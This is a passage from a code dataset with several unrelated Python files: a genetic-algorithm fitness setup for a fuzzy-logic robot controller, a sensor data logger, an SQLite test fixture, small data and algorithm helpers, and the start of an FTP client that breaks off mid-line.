np.fmax(currentResult, fuzzyResult)\n return fuzzyResult\n return result\n\ndef createDefuzzyfier(outputSpace, *defuzzArgs, defuzz=fuzz.defuzz, **defuzzKwargs):\n def result(value):\n return defuzz(outputSpace, value, *defuzzArgs, **defuzzKwargs)\n return result\n \ndef createFullFuzzySystem(inferenceSystem, defuzzyfier):\n def system(inputA, inputB):\n return defuzzyfier(inferenceSystem(inputA, inputB))\n return system\n\n\n# #### Controller\n\n# In[ ]:\n\n\ndef createFuzzyController(fuzzyDescription, r, b, omega_ri, vri, lowVelocityLimit, highVelocityLimit, lowOmegaLimit, highOmegaLimit):\n inputsDistance = fuzzyDescription['inputs']['distance']['M']\n inputsSpaceDistance = np.array(fuzzyDescription['inputs']['distance']['S'])\n \n inputsAngle = fuzzyDescription['inputs']['angle']['M']\n inputsSpaceAngle = np.array(fuzzyDescription['inputs']['angle']['S'])\n \n outputsOmegaR = fuzzyDescription['outputs']['omegaR']['M']\n outputSpaceOmegaR = np.array(fuzzyDescription['outputs']['omegaR']['S'])\n outputRulesOmegaR = fuzzyDescription['outputs']['omegaR']['rules']\n \n outputsOmegaL = fuzzyDescription['outputs']['omegaL']['M']\n outputSpaceOmegaL = np.array(fuzzyDescription['outputs']['omegaL']['S'])\n outputRulesOmegaL = fuzzyDescription['outputs']['omegaL']['rules']\n\n\n inputsDistanceFuzzyfier = createFuzzyfier(inputsSpaceDistance, inputsDistance)\n inputsAngleFuzzyfier = createFuzzyfier(inputsSpaceAngle, inputsAngle)\n\n inferenceSystem_R = createInferenceSystem(inputsDistanceFuzzyfier, inputsAngleFuzzyfier, outputSpaceOmegaR, outputsOmegaR, outputRulesOmegaR)\n outputDefuzzyfier_R = createDefuzzyfier(outputSpaceOmegaL, mode='centroid')\n\n inferenceSystem_L = createInferenceSystem(inputsDistanceFuzzyfier, inputsAngleFuzzyfier, outputSpaceOmegaL, outputsOmegaL, outputRulesOmegaL)\n outputDefuzzyfier_L = createDefuzzyfier(outputSpaceOmegaL, mode='centroid')\n\n fullSystem_R = createFullFuzzySystem(inferenceSystem_R, outputDefuzzyfier_R)\n fullSystem_L = createFullFuzzySystem(inferenceSystem_L, outputDefuzzyfier_L)\n \n def controller(t, currentState, destinationState):\n currentX = currentState[0]\n currentY = currentState[1]\n currentTheta = currentState[2]\n\n destinationX = destinationState[0]\n destinationY = destinationState[1]\n\n cosTheta = cos(currentTheta)\n sinTheta = sin(currentTheta)\n \n deltaX = destinationX - currentX\n deltaY = destinationY - currentY\n theta_destination = atan2(deltaY, deltaX)\n THETA_ERROR = theta_destination - currentTheta\n DISTANCE_ERROR = sqrt(deltaX * deltaX + deltaY * deltaY)\n \n if (THETA_ERROR > pi):\n THETA_ERROR -= 2*pi\n if (THETA_ERROR < -pi):\n THETA_ERROR += 2*pi\n \n omega_R = fullSystem_R(DISTANCE_ERROR, THETA_ERROR)\n omega_L = fullSystem_L(DISTANCE_ERROR, THETA_ERROR)\n\n velocity = r * (omega_R + omega_L) / 2\n omega = r * (omega_R - omega_L) / b\n\n if velocity > highVelocityLimit:\n velocity = highVelocityLimit\n if (velocity < lowVelocityLimit):\n velocity = lowVelocityLimit\n if omega > highOmegaLimit:\n omega = highOmegaLimit\n if (omega < lowOmegaLimit):\n omega = lowOmegaLimit\n\n return velocity, omega\n return controller\n\n\n# ## Simulation Function\n\n# In next part the full description of simulation is stored in a single structured JSON document / variable. If this document is mutated, the slighly different condition for simulation are defined. Set of mutated documents and results of described simulations might be compared and thus proper results can be selected. This process creates a basement for optimization techniques.\n\n# ### Simulation Description\n\n# In[ ]:\n\n\nsimulationDescription = {\n\n 'robotState0': {\n 'x': 0,\n 'y': 0,\n 'theta': -3.14 / 4\n },\n\n 'path': [\n [0, 0, 0], #X, Y, orientation\n [10, 0, 0], #X, Y, orientation\n [10, 10, 0], #X, Y, orientation\n [20, 10, 0], #X, Y, orientation\n [20, 20, 0]\n ],\n\n 'robotParams': {\n 'r': 0.0925,\n 'b': 0.37,\n 'm': 9,\n 'I': 0.16245,\n #'motorParams': None,\n 'motorParams': {\n 'J': 0.01,\n 'B': 0.1,\n\n 'Kt': 0.01,\n 'Ke': 0.01,\n 'K': 0.01,\n\n 'Ra': 0.1,\n 'La': 0.01\n }\n },\n \n 'controllerParams': {\n 'omega_ri': 0, 'vri': 2.0,'lowVelocityLimit': 0.2, \n 'highVelocityLimit': 2.0, 'lowOmegaLimit': -0.75, 'highOmegaLimit': 0.75\n },\n\n 'simulationParams': {\n 't0': 0,\n 't_bound': 100,\n 'max_step': 0.05\n }\n}\n\n\n# ### Executor\n\n# In[ ]:\n\n\ndef runSimulation(simulationDescription, controllerCreator, selectors=selectors):\n \n pathForSimulation = iter(simulationDescription['path'])\n\n t0 = simulationDescription['simulationParams']['t0']\n t_bound = simulationDescription['simulationParams']['t_bound']\n max_step = simulationDescription['simulationParams']['max_step']\n\n state0 = None\n robotState0 = simulationDescription['robotState0']\n if robot == robotWithDynamic:\n state0 = np.array([robotState0['x'], robotState0['y'], robotState0['theta'], 0, 0, 0, 0, 0, 0, 0]) # x0=0, y0=0, theta\n else:\n state0 = np.array([robotState0['x'], robotState0['y'], robotState0['theta'], 0, 0, 0]) # x0=0, y0=0,theta\n\n solverfunc = simpleCompute(\n compute, state0 = state0, \n t0 = t0, t_bound = t_bound, max_step = max_step)\n\n controllerParams = simulationDescription['controllerParams']\n completeRobot = robotModelCreator(controllerCreator, pathForSimulation, **controllerParams) \n robotStates = solverfunc(completeRobot)\n\n results = {}\n for key, selector in selectors.items():\n results[key] = []\n\n for currentState in robotStates: # readout all states from current moving robot\n for key, selector in selectors.items():\n results[key].append(selector(currentState))\n\n return results\n\n\n# ### Example of Use\n\n# In[ ]:\n\n\nimport copy\n\ndef localDemo():\n circleControllerDescription = copy.deepcopy(simulationDescription)\n circleControllerDescription['controllerParams']['gain'] = 4\n\n results = runSimulation(circleControllerDescription, createCircleControllerWithGain, selectors)\n plt.plot(results['x'], results['y'])\n \nif _runDemos:\n localDemo()\n\n\n# ## Chromozome Mapping Functions\n\n# These functions change standard simulation description into description based on information stored in chromosome. Also these functions could be named as a chromosome information decoder.\n\n# ### Circle Controller\n\n# In[ ]:\n\n\nimport copy\ndef fromChromozomeToDescriptionCircle(chromozome, description):\n result = copy.deepcopy(description)\n result['controllerParams']['gain'] = chromozome[0]\n return result\n\n\n# ### Robins Controller\n\n# In[ ]:\n\n\nimport copy\ndef fromChromozomeToDescriptionRobins(chromozome, description):\n result = copy.deepcopy(description)\n result['controllerParams']['k0'] = chromozome[0]\n result['controllerParams']['k1'] = chromozome[1]\n return result\n\n\n# ### Fuzzy Logic Controller\n\n# In[ ]:\n\n\nimport copy\ndef fromChromozomeToDescriptionFuzzy(chromozome, description):\n CH = chromozome # just for simplicity\n result = copy.deepcopy(description)\n\n fuzzyDescription = {\n 'inputs': {\n 'distance' : {\n 'S': list(np.arange(0, 2, 0.02)),\n 'M': {'VC': [0, 0, 0.5], 'C': [0, 0.5, 1], 'M': [0.5, 1, 1.5], 'F': [1, 1.5, 2], 'VF': [1.5, 2, 2]}\n },\n 'angle' : {\n 'S': list(np.arange(-3.14, 3.14, 0.0628)),\n 'M': {'BN': [-3.14, -3.14, -1.57], 'N': [-3.14, -1.57, 0], 'Z': [-1.57, 0, 1.57], 'P': [0, 1.57, 3.14], 'BP': [1.57, 3.14, 3.14]}\n }\n },\n 'outputs': {\n 'omegaR': {\n 'S': list(np.arange(0, 30, 0.3)),\n 'rules': {\n 'VC': {'BN': 'VSR', 'N': 'SR', 'Z': 'VSR', 'P': 'BR', 'BP': 'VBR'},\n 'C': {'BN': 'VSR', 'N': 'SR', 'Z': 'SR', 'P': 'BR', 'BP': 'VBR'},\n 'M': {'BN': 'VSR', 'N': 'SR', 'Z': 'MBR', 'P': 'BR', 'BP': 'VBR'},\n 'F': {'BN': 'VSR', 'N': 'SR', 'Z': 'BR', 'P': 'BR', 'BP': 'VBR'},\n 'VF': {'BN': 'VSR', 'N': 'SR', 'Z': 'VBR', 'P': 'BR', 'BP': 'VBR'}\n },\n 'mode': 'centroid',\n 'M': {'VSR': [0, 0, 7.5], 'SR': [0, 7.5, 15], 'MBR': [7.5, 15, 22.5], 'BR': [15, 22.5, 30], 'VBR': [22.5, 30, 30]}\n },\n 'omegaL': {\n 'S': list(np.arange(0, 30, 0.3)),\n 'rules': {\n 'VC': {'BN': 'VBL', 'N': 'BL', 'Z': 'VSL', 'P': 'SL', 'BP': 'VSL'},\n 'C': {'BN': 'VBL', 'N': 'BL', 'Z': 'SL', 'P': 'SL', 'BP': 'VSL'},\n 'M': {'BN': 'VBL', 'N': 'BL', 'Z': 'MBL', 'P': 'SL', 'BP': 'VSL'},\n 'F': {'BN': 'VBL', 'N': 'BL', 'Z': 'BL', 'P': 'SL', 'BP': 'VSL'},\n 'VF': {'BN': 'VBL', 'N': 'BL', 'Z': 'VBL', 'P': 'SL', 'BP': 'VSL'} \n },\n 'mode': 'centroid',\n 'M': {'VSL': [0, 0, 7.5], 'SL': [0, 7.5, 15], 'MBL': [7.5, 15, 22.5], 'BL': [15, 22.5, 30], 'VBL': [22.5, 30, 30]}\n }\n }\n } \n\n distance_Member = {'VC': [0, 0, CH[0]], \n 'C': [CH[2] - CH[1], CH[2], CH[2] + CH[3]],\n 'M': [CH[5] - CH[4], CH[5], CH[5] + CH[6]],\n 'F': [CH[8] - CH[7], CH[8], CH[8] + CH[9]], \n 'VF': [2 - CH[10], 2, 2]}\n fuzzyDescription['inputs']['distance']['M'] = distance_Member\n\n angle_Member = {'BN': [-3.14, -3.14, -3.14+CH[11]], \n 'N': [CH[13] - CH[12], CH[13], CH[13] + CH[14]],\n 'Z': [CH[16] - CH[15], CH[16], CH[16] + CH[17]], \n 'P': [CH[19] - CH[18], CH[19], CH[19] + CH[20]], \n 'BP': [3.14 - CH[21], 3.14, 3.14]} \n fuzzyDescription['inputs']['angle']['M'] = angle_Member\n\n omegaR_Member = {'VSR': [0, 0, CH[22]], \n 'SR': [CH[24] - CH[23], CH[24], CH[24] + CH[25]],\n 'MBR': [CH[27] - CH[26], CH[27], CH[27] + CH[28]], \n 'BR': [CH[30] - CH[29], CH[30], CH[30] + CH[31]], \n 'VBR': [30 - CH[32], 30, 30]}\n fuzzyDescription['outputs']['omegaR']['M'] = omegaR_Member\n\n omegaL_Member = {'VSL': [0, 0, CH[33]], \n 'SL': [CH[35] - CH[34], CH[35], CH[35] + CH[36]],\n 'MBL': [CH[38] - CH[37], CH[38], CH[38] + CH[39]], \n 'BL': [CH[41] - CH[40], CH[41], CH[41] + CH[42]], \n 'VBL': [30 - CH[43], 30, 30]}\n fuzzyDescription['outputs']['omegaL']['M'] = omegaL_Member\n\n result['controllerParams']['fuzzyDescription'] = fuzzyDescription\n \n result['controllerParams']['r'] = result['robotParams']['r']\n result['controllerParams']['b'] = result['robotParams']['b']\n return result\n\n\n# #### Demo of Use\n\n# In[ ]:\n\n\ndef localDemo():\n _chromosome = [ 6.25366018e-01, 1.46639889e+00, 6.86498991e-02, 7.68093084e-01,\n 2.94696025e-01, 8.19657937e-01, 7.66707859e-01, 3.30363761e-01,\n 1.59154795e+00, 3.82371835e-01, 3.19164222e-01, 2.25863186e-01,\n 5.40214083e+00, -2.87811455e+00, 3.22315195e+00, 5.24697655e+00,\n -2.18191386e-02, 2.35114508e-02, 2.29313174e+00, 2.71500790e+00,\n 1.72456119e+00, 3.34836959e+00, 1.62090031e+01, 2.21135246e+01,\n 4.62340233e+00, 9.07996460e+00, 2.99889795e+01, 1.59696212e+01,\n 1.20020626e+01, 2.32626634e+01, 1.81445098e+01, 1.61965141e+01,\n 2.16820148e+01, 5.66692201e+00, 7.02338927e-01, 2.90220179e+00,\n 1.46153727e+01, 1.93699985e+01, 1.47587643e+01, 6.76618158e+00,\n 4.15791676e+00, 2.87105164e+01, 1.39444156e+01, 1.14641525e+01]\n\n fuzzyLogicSimulationDescription = fromChromozomeToDescriptionFuzzy(_chromosome, simulationDescription)\n results = runSimulation(fuzzyLogicSimulationDescription, createFuzzyController, selectors=selectors)\n\n plt.plot(results['x'], results['y'])\n \nif _runDemos:\n localDemo()\n\n\n# ## Path Mapping Function\n\n# This function allows to easy change simulation description for path which a robot has to follow.\n\n# In[ ]:\n\n\nimport copy\ndef fromPathToDescription(path, description):\n result = copy.deepcopy(description)\n result['path'] = list(path)\n return result\n\n\n# ## Fitness Functions (Based on Chromozomes)\n\n# For optimization the fitness functions are needed. The simulation function has been defined earlier in this document. A fitness function must transform chromozome into simulation description, run appropriate simulation and return all results or subset of results. This chapter defines a bunch of fitness functions.\n\n# ### Helper Functions\n\n# #### Function for Fitness Function Creation\n\n# ```createFitnessFunction``` allows to create fitness function which is appropriate for description, chromosome decoder (```mapperFunction```), function which creates controller (```controllerCreator```) and, if needed, selection of subresult (```resultSelector```).\n\n# In[ ]:\n\n\ndef createFitnessFunction(baseDescription, mapperFunction, controllerCreator, resultSelector=lambda item: item):\n def fitnessFunction(chromozome):\n freshDescription = mapperFunction(chromozome, baseDescription)\n results = runSimulation(freshDescription, controllerCreator, selectors=selectors)\n result = resultSelector(results)\n return result\n return fitnessFunction\n\n\n# In[ ]:\n\n\ndef energySelector(results):\n return results['E'][-1]\n\n\n# In[ ]:\n\n\ndef distanceSelector(results):\n return results['d'][-1]\n\n\n# #### Multivalue Functions\n\n# ```singleAsMultiValue``` transforms function with scalar value into function with vector value. Such transformation creates a functionc which can evaluate multiple values in single call.\n\n# In[ ]:\n\n\ndef singleAsMultiValue(singleFunction):\n def resultFunction(chromosomes):\n results = []\n for chromosome in chromosomes:\n results.append(singleFunction(chromosome))\n return results\n return resultFunction\n\n\n# ### Simulation Description\n\n# From this point simulations depend on ```simulationDescription``` defined in next code. Thus if any change is needed this is best place for it.\n\n# In[ ]:\n\n\nsimulationDescription = {\n 'robotState0': {\n 'x': 0,\n 'y': 0,\n 'theta': -3.14 / 4\n },\n\n 'path': [\n [0, 0, 0], #X, Y, orientation\n [10, 0, 0], #X, Y, orientation\n [10, 10, 0], #X, Y, orientation\n [20, 10, 0], #X, Y, orientation\n [20, 20, 0]\n ],\n\n 'robotParams': {\n 'r': 0.0925,\n 'b': 0.37,\n 'm': 9,\n 'I': 0.16245,\n #'motorParams': None,\n 'motorParams': {\n 'J': 0.01,\n 'B': 0.1,\n\n 'Kt': 0.01,\n 'Ke': 0.01,\n 'K': 0.01,\n\n 'Ra': 0.1,\n 'La': 0.01\n }\n },\n \n 'controllerParams': {\n 'omega_ri': 0, 'vri': 2.0,'lowVelocityLimit': 0.2, \n 'highVelocityLimit': 2.0, 'lowOmegaLimit': -0.75, 'highOmegaLimit': 0.75\n },\n\n 'simulationParams': {\n 't0': 0,\n 't_bound': 100,\n 'max_step': 0.05\n }\n}\n\n\n# ### Fuzzy Logic Controller\n\n# #### Singlevalue Functions\n\n# In[ ]:\n\n\nfitnessFunctionFLC_Energy = createFitnessFunction(simulationDescription, fromChromozomeToDescriptionFuzzy, createFuzzyController, energySelector)\nfitnessFunctionFLC_Distance = createFitnessFunction(simulationDescription, fromChromozomeToDescriptionFuzzy, createFuzzyController, distanceSelector)\nfitnessFunctionFLC_FullResults = createFitnessFunction(simulationDescription, fromChromozomeToDescriptionFuzzy, createFuzzyController)\n\n\n# #### Multivalue Functions\n\n# In[ ]:\n\n\nfitnessFunctionFLC_EnergyMulti = singleAsMultiValue(fitnessFunctionFLC_Energy)\nfitnessFunctionFLC_DistanceMulti = singleAsMultiValue(fitnessFunctionFLC_Distance)\nfitnessFunctionFLC_FullResultsMulti = singleAsMultiValue(fitnessFunctionFLC_FullResults)\n\n\n# ### Circle\n\n# #### Singlevalue Functions\n\n# In[ ]:\n\n\nfitnessFunctionCircle_Energy = createFitnessFunction(simulationDescription, fromChromozomeToDescriptionCircle, createCircleControllerWithGain, energySelector)\nfitnessFunctionCircle_Distance = createFitnessFunction(simulationDescription, fromChromozomeToDescriptionCircle, createCircleControllerWithGain, distanceSelector)\nfitnessFunctionCircle_FullResults = createFitnessFunction(simulationDescription, fromChromozomeToDescriptionCircle, createCircleControllerWithGain)\n\n\n# #### Multivalue Functions\n\n# In[ ]:\n\n\nfitnessFunctionCircle_EnergyMulti = singleAsMultiValue(fitnessFunctionCircle_Energy)\nfitnessFunctionCircle_DistanceMulti = singleAsMultiValue(fitnessFunctionCircle_Distance)\nfitnessFunctionCircle_FullResultsMulti = singleAsMultiValue(fitnessFunctionCircle_FullResults)\n\n\n# #### Demonstration\n\n# In[ ]:\n\n\ndef localDemo():\n results = fitnessFunctionCircle_FullResults([4])\n #print(results)\n plt.plot(results['x'], results['y'])\n \nif _runDemos:\n localDemo()\n\n\n# In[ ]:\n\n\ndef localDemo():\n results = fitnessFunctionCircle_FullResultsMulti([[2], [16]])\n plt.plot(results[0]['x'], results[0]['y'])\n plt.plot(results[1]['x'], results[1]['y'])\n \nif _runDemos:\n localDemo()\n\n\n# ### Robins\n\n# #### Singlevalue Functions\n\n# In[ ]:\n\n\nfitnessFunctionRobins_Energy = createFitnessFunction(simulationDescription, fromChromozomeToDescriptionCircle, createCircleControllerWithGain, energySelector)\nfitnessFunctionRobins_Distance = createFitnessFunction(simulationDescription, fromChromozomeToDescriptionCircle, createCircleControllerWithGain, distanceSelector)\nfitnessFunctionRobins_FullResults = createFitnessFunction(simulationDescription, fromChromozomeToDescriptionCircle, createCircleControllerWithGain)\n\n\n# #### Multivalue Functions\n\n# In[ ]:\n\n\nfitnessFunctionRobins_EnergyMulti = singleAsMultiValue(fitnessFunctionRobins_Energy)\nfitnessFunctionRobins_DistanceMulti = singleAsMultiValue(fitnessFunctionRobins_Distance)\nfitnessFunctionRobins_FullResultsMulti = singleAsMultiValue(fitnessFunctionRobins_FullResults)\n\n\n# ## Computer Cluster Help\n\n# Multivalue fitness function is function which takes an array of chromozomes and returns another array containing the fitness values for all given chromozomes. Body of a such function could be implemented as a parallel process which decrease time needed for its evaluation.\n# \n# The parallel process might be implemented in different ways. One of them, and probably the best one, is usage of distributed evaluation with help of computer cluster. Computer cluster creation is well-documented process with standard steps, thus, a scientist who want to use this technique must just define single environment, environment for evaluation of single fitness function. \n# \n# As an envelope around this environment the web service might be used. However, this leads to asynchronous execution. As the optimization libraries for Python are synchronous, the connection between asynchronous and synchronous parts must be created.\n\n# ### Main Function for Server\n\n# In[ ]:\n\n\ndef evaluateSingleFLCSimulation(description):\n result = runSimulation(description, createFuzzyController, selectors)\n return result\n\n","repo_name":"vanthuanhvhq/GA_FLC","sub_path":"server/evaluator/src/optimization2.py","file_name":"optimization2.py","file_ext":"py","file_size_in_byte":35754,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"1432426591","text":"\"\"\"\nUri-Jaun Hall\nCS 791\nSensorCenter.py\n\nThis class handles receiving collected data and outputting to a window or file of choice.\n\nThe code after \"if __name__ == \"__main__\":\" mimics the entering of values into the\ncommand line and allows running straight from the IDE\n\nHowever if you wish to use the terminal this module can be ran by running:\n python SensorCenter.py [RunTime] [Frequency] -t\n\n The -t signals this is a test run and uses a double array of integers for testing output.\n\n In near future -t will be optional. For now, the -t is necessary unless it is connected\n to a server, otherwise it calls the start() function which just waits for a connection\n\n\n\"\"\"\n\n\nfrom GraphicCenter import *\nfrom SerialTransmitter import *\nimport time\nimport sys\nimport random as rand\n\nFAIL = -1\nSUCCESS = 0\n\n\nclass SensorCenter:\n def __init__(self):\n self.__file = \"\" # FILE FOR EXPORT\n self.__values = [] # 2D ARRAY OF VALUES PER SENSOR\n self.graphic_center = GraphicCenter(self) # HANDLES OUTPUT TO WINDOW\n self.__written = \"\" # OBJECT TO UPDATE FOR OUTPUT\n\n self.serial_transmitter = SerialTransmitter(self) # HANDLES POLLING SENSORS\n self.pollFrequency = 1 # frequency in seconds default = 1\n\n # ---------------------------------------------------\n # Start retrieving data\n # ---------------------------------------------------\n def start(self, comport):\n print('starting serial transmitter')\n serial_trans = self.serial_transmitter\n serial_trans.start(comport)\n\n # ----------------------------------------------------------------------\n # updates the data to be written based on double array values to CSV\n # --------------------------------------------------------------------\n def update_csv(self):\n self.__written = \"\"\n num_values = len(self.__values[0])\n num_sensors = len(self.__values)\n\n # Set title of columns\n self.__written = \"Time\"\n for name in self.serial_transmitter.namesAll():\n self.__written += ', ' + name\n self.__written += \"\\n\\n\"\n\n # Set values by column\n for i in range(num_values):\n self.__written += str(i+1)\n for intArr in self.__values:\n self.__written += \",\" + str(intArr[i])\n self.__written += \"\\n\"\n\n # ---------------------------------------------------------------------\n # updates the data to be written based on double array values to window\n # ( Same for now )\n # ---------------------------------------------------------------------\n def update(self):\n self.__written = \"\"\n num_values = len(self.__values[0])\n num_sensors = len(self.__values)\n\n # Set title of columns\n self.__written = \"Time\"\n for x in range(num_sensors):\n self.__written += \"\\tS\" + str(x + 1)\n self.__written += \"\\n\\n\"\n\n # Set values by column\n for i in range(num_values):\n self.__written += str(i+1)\n for intArr in self.__values:\n self.__written += \"\\t\" + str(intArr[i])\n self.__written += \"\\n\"\n\n # --------------------------------------------\n # Routine to export data to a specified file\n # --------------------------------------------\n def export(self, file):\n try:\n self.__file = file\n print(\"\\nProgram will output to \" + str(file) + \" file\")\n file_writer = open(self.__file, \"w\")\n file_writer.write(self.__written)\n file_writer.close()\n except IOError as e:\n print(\"\\nFile IO error:\")\n print(\"\\n\" + e.strerror)\n return FAIL\n return SUCCESS\n\n # ---------------------------------------------------\n # --------------Getters and Setters------------------\n # --------------------------------------------------\n\n # ---------------------------------------------------\n # get value double array\n # ---------------------------------------------------\n def get_values(self):\n return self.__values\n\n # ---------------------------------------------------\n # add array of values\n # ---------------------------------------------------\n def add_sensor_values(self):\n pos = 0\n added = self.serial_transmitter.pollAll()\n for val in added:\n self.__values[pos].append(val)\n pos += 1\n\n # ---------------------------------------------------\n # add value to value array at index\n # ---------------------------------------------------\n def add_value_at_sensor(self, index, added):\n self.__values[index].append(added)\n\n # ----------------------------------------------------\n # get the set of values for specified sensor index\n # ----------------------------------------------------\n def get_sensor_values(self, index):\n return self.__values[index]\n\n # -----------------------------------------------------\n # get the value at index for specified sensor\n # -----------------------------------------------------\n def get_value_at_sensor(self, sensor, index):\n return self.get_sensor_values(sensor)[index]\n\n # -----------------------------------------------------\n # get output \"self.written\n # -----------------------------------------------------\n def get_current_output(self):\n return self.__written\n\n # -----------------------------------------------------\n # returns the the length of the longest list in values\n # -----------------------------------------------------\n def get_longest_list(self):\n longest = 0\n for lis in self.__values:\n length = len(lis)\n if length > longest:\n longest = length\n return longest\n\n # -----------------------------------------------------\n # adds connected sensors to GUI\n # -----------------------------------------------------\n def update_sensor(self, sensor):\n self.graphic_center.add_sensor(sensor)\n\n\n# ------------------------------------------------------------------\n# ----------------------CLASS RUNNER CODE---------------------------\n# ------------------------------------------------------------------\n\n\ndef main():\n\n # Create instance of SensorCenter\n center = SensorCenter()\n\n gc = center.graphic_center\n\n gc.out_to_window()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"theinterface1/CO2-Sensor-Project","sub_path":"src/python_src/SensorCenter.py","file_name":"SensorCenter.py","file_ext":"py","file_size_in_byte":6558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5717827933","text":"import os\nimport sqlite3 as sqlite\nfrom typing import Any\nfrom unittest import TestCase\n\nfrom common.config.settings import get_settings\n\n\nclass SqliteTestCase(TestCase):\n def setUp(self) -> None:\n super().setUp()\n os.environ[\"MQTT_TOPIC\"] = \"topic\"\n os.environ[\"MQTT_HOST\"] = \"host\"\n os.environ[\"MQTT_PORT\"] = \"0\"\n\n os.environ[\"PERSISTENCE_MODULE\"] = \"eventsourcing.sqlite\"\n os.environ[\"SQLITE_DBNAME\"] = \"eventsourcing.sqlite\"\n os.environ[\"SQLITE_LOCK_TIMEOUT\"] = \"10\"\n\n connection = sqlite.connect('eventsourcing.sqlite')\n connection.execute('DROP TABLE IF EXISTS stored_events')\n connection.execute('DROP TABLE IF EXISTS stored_snapshots')\n connection.execute('DROP TABLE IF EXISTS tracking')\n connection.close()\n\n def tearDown(self) -> None:\n super().tearDown()\n get_settings.cache_clear()\n os.environ.clear()\n\n def override_setting(self, key: str, value: Any) -> None:\n get_settings.cache_clear()\n os.environ[key.upper()] = str(value)\n","repo_name":"ahmdatef/mini-exchange","sub_path":"tests/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73309371713","text":"# 给定一个链表,两两交换其中相邻的节点,并返回交换后的链表。\n#\n# 你不能只是单纯的改变节点内部的值,而是需要实际的进行节点交换。\n\n# 递归实现\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def swapPairs(self, head):\n # 应该是一个递归\n # 交换两个���点,返回交换后的节点\n def helper(node):\n if node is None or node.next is None:\n return node\n # 交换两个节点\n curr = node\n next_curr = node.next\n next2_curr = next_curr.next\n next_curr.next = curr\n curr.next = helper(next2_curr)\n return next_curr\n return helper(head)\n","repo_name":"fengjiaxin/prepare_work","sub_path":"leetcode_tag/LinkedList/24.两两交换链表中的节点.py","file_name":"24.两两交换链表中的节点.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32091456738","text":"import argparse as arg\nimport sys\nimport DataFrame as df\n\n#Parser command line \nparser = arg.ArgumentParser()\nparser.add_argument('input', type = str, help = \"Path to the dataset file\")\nparser.add_argument('out', type = str, help = \"Path to the result file\")\nparser.add_argument('standard', type = float, help = \"Maximun percentage of NaN value\", default = 0.5)\nargs = parser.parse_args()\n\ndata = df.DataFrame.read_csv(args.input)\n\ncount = 0\nfor j in range(len(data[data.columns[0]])):\n if data.count_nan_in_row(j) > (args.standard * len(data[data.columns[0]])):\n data.drop_row(j)\n count += 1\n\ndata.to_csv(args.out)\nprint('Delete ', count, ' row with number of missing value more than', args.standard*100, '%')","repo_name":"Yoshiyuki194/CSC14004-Lab-01-Data-Preprocessing-and-Data-Exploration","sub_path":"Source/delete_nan_row.py","file_name":"delete_nan_row.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"26714883926","text":"import numpy as np\n\n# least-square\ndef fit(y, y_pred, *args):\n \"\"\"\n If you want fitting for diffrent range, use *args matrix\n \"\"\"\n ls = np.polyfit(y, y_pred, 1)\n\n if args:\n fit_y = ls[0]*np.array(args).flatten() + ls[1]\n else:\n fit_y = ls[0]*y + ls[1]\n\n return fit_y\n\n# Ideal fitting\ndef ideal_fit(y_train, y_train_pred):\n y_train = list(y_train)\n y_train_pred = list(y_train_pred.flatten())\n\n concate = y_train + y_train_pred\n\n x_min, x_max = np.min(concate), np.max(concate)\n return (x_min, x_max), (x_min, x_max)\n","repo_name":"matqsarlab/QSAR_Lab","sub_path":"Modeling/linear_fit.py","file_name":"linear_fit.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19362567855","text":"#!/usr/bin/python3\nimport socket\nimport os\nimport sys\nimport logging as log\nimport getpass\n\nfrom helper import *\n\n\nlog.basicConfig(format=\"[%(levelname)s] %(message)s\", level=log.DEBUG)\n\n\nclass FTPError(Exception):\n pass\n\n\nclass FTPClient:\n def __init__(self):\n self.sock = None\n self.is_connected = False\n self.is_authenticated = False\n self.server_name = ''\n\n # Establish a connection with remote FTP host\n def open(self, hostname='', port=3302):\n if self.is_connected:\n raise FTPError(\n 'Already connected to %s, use close first.' % self.server_name)\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.sock.settimeout(5)\n try:\n port = int(port)\n except ValueError:\n raise FTPError(\"Bad port address.\")\n self.sock.connect((hostname, port))\n # Ping the server\n sock_send(self.sock, FTPRequest('ping'))\n # Print response\n print(sock_recv(self.sock))\n self.server_name = hostname # Save hostname for later\n self.is_connected = True\n # Initialise authentication procedure\n self.init_auth()\n\n def is_open(self):\n return self.is_connected\n\n def init_auth(self):\n username = input(\"Name (%s) : \" % self.server_name).strip()\n passwd = getpass.getpass(\"Password : \")\n # Authenticate with server\n sock_send(self.sock, FTPRequest('auth', [username, passwd]))\n response = sock_recv(self.sock)\n if response.code // 100 != 2:\n raise FTPError('%d %s' % (response.code, 'Login Incorect.'))\n print(response.message)\n self.is_authenticated = True\n\n def send(self, query):\n if not self.is_connected:\n raise FTPError('Not Connected.')\n if not self.is_authenticated:\n raise FTPError('530 Please login with USER and PASS.')\n if len(query) == 0:\n return None # Silently ignore\n elif query[0] == 'get' or query[0] == 'put':\n if len(query) != 2:\n raise FTPError('Please provide a filename.')\n if query[0] == 'put':\n try:\n pack = FTPRequest('put', [\n FileWrapper(query[1],\n open(query[1], 'rb').read())])\n sock_send(self.sock, pack)\n return sock_recv(self.sock)\n except OSError as oe:\n raise FTPError(str(oe))\n # else\n pack = FTPRequest(query[0], query[1:])\n sock_send(self.sock, pack)\n return sock_recv(self.sock)\n\n def close(self):\n if (self.sock is not None):\n sock_send(self.sock, FTPRequest('close'))\n self.sock.close()\n self.is_connected = False\n self.is_authenticated = False\n self.server_name = ''\n self.sock = None\n\n\nclient = FTPClient()\n\n\ndef main():\n global client\n while True:\n try:\n query = input(\"ftp> \").strip().split(\" \")\n if len(query) == 0:\n continue\n if query[0] == '?':\n # Show a list of available features\n print(' '.join(COMMANDS))\n elif query[0] == 'open':\n # Establish a remote connection\n if len(query) == 